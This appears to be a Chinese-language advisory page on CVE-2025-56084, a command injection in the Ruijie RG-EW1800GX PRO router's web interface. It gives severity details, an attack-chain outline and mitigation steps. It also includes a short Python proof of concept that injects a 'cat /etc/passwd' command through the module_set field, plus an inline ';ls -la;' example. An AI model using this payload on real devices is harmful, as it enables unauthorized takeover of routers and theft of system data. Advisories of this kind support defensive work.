IPBUF安全漏洞报告
English
CVE-2025-56084 CVSS 8.8 高危

CVE-2025-56084 Ruijie RG-EW1800GX PRO 命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56084
漏洞类型
操作系统命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie RG-EW1800GX PRO (B11P226_EW1800GX-PRO_10223117)

相关标签

命令注入RuijieRG-EW1800GX PRO路由器漏洞CVE-2025-56084OS命令注入高危漏洞固件漏洞Web接口漏洞IoT漏洞

漏洞概述

CVE-2025-56084是锐捷网络(Ruijie)RG-EW1800GX PRO路由器中存在的一个高危安全漏洞。该漏洞位于设备的Web管理界面中,由于对用户输入缺乏有效的安全过滤,攻击者可以通过发送精心构造的POST请求,在服务器端执行任意操作系统命令。漏洞影响固件版本B11P226_EW1800GX-PRO_10223117,CVSS评分高达8.8分,属于高危漏洞。攻击者成功利用此漏洞可获得设备的完全控制权,执行任意代码、窃取敏感信息或将其作为进一步渗透内网的跳板。由于该漏洞无需高级权限即可利用,且无需用户交互,因此对暴露在网络中的设备构成严重威胁。

技术细节

该漏洞为典型的OS命令注入(OS Command Injection)漏洞,位于设备的Lua脚本文件/usr/local/lua/dev_sta/nbr_cwmp.lua中的module_set接口。漏洞产生的根本原因是在处理用户POST请求时,未对module_set参数进行充分的输入验证和命令边界限制,直接将用户可控的参数拼接到系统命令中执行。攻击者可以通过在POST请求的module_set参数中注入分号、管道符等Shell元字符,实现命令链执行。例如,注入类似';ls -la;'的命令即可在服务器上执行任意系统指令。由于该接口缺乏身份验证或权限控制,低权限用户甚至匿名用户均可发起攻击,成功利用后可获得root级别的系统访问权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标设备型号为Ruijie RG-EW1800GX PRO,确认固件版本为B11P226_EW1800GX-PRO_10223117
STEP 2
步骤2: 发现漏洞端点
扫描设备Web管理界面,发现存在/usr/local/lua/dev_sta/nbr_cwmp.lua中的module_set接口
STEP 3
步骤3: 构造恶意请求
攻击者构造包含OS命令注入payload的POST请求,使用Shell元字符(分号、管道符等)绕过输入限制
STEP 4
步骤4: 执行恶意命令
发送精心构造的POST请求到module_set接口,服务器将用户输入拼接到系统命令中执行
STEP 5
步骤5: 获取系统权限
成功注入命令后,攻击者获得root级别访问权限,可执行任意系统操作
STEP 6
步骤6: 持久化控制
攻击者可部署后门、修改配置或横向移动,进一步扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-56084 PoC - Ruijie RG-EW1800GX PRO Command Injection # Target: Ruijie RG-EW1800GX PRO Router # Firmware: B11P226_EW1800GX-PRO_10223117 target_ip = "192.168.1.1" # Router IP address target_url = f"http://{target_ip}/cgi-bin/luci/api/nbr_cwmp" # Malicious payload to inject OS command # Using pipe operator to chain commands payload = "'; cat /etc/passwd; echo '" data = { "module_set": payload, "module_name": "test_module" } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully!") else: print("[-] Exploit failed!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

Ruijie RG-EW1800GX PRO B11P226_EW1800GX-PRO_10223117及之前版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)将设备管理界面限制在可信IP范围内访问;2)启用设备防火墙规则,阻止外部网络对管理接口的访问;3)监控网络流量,及时发现和阻断异常的POST请求;4)考虑使用VPN等安全通道进行设备管理;5)如条件允许,将受影响的设备更换为已修复漏洞的型号或版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表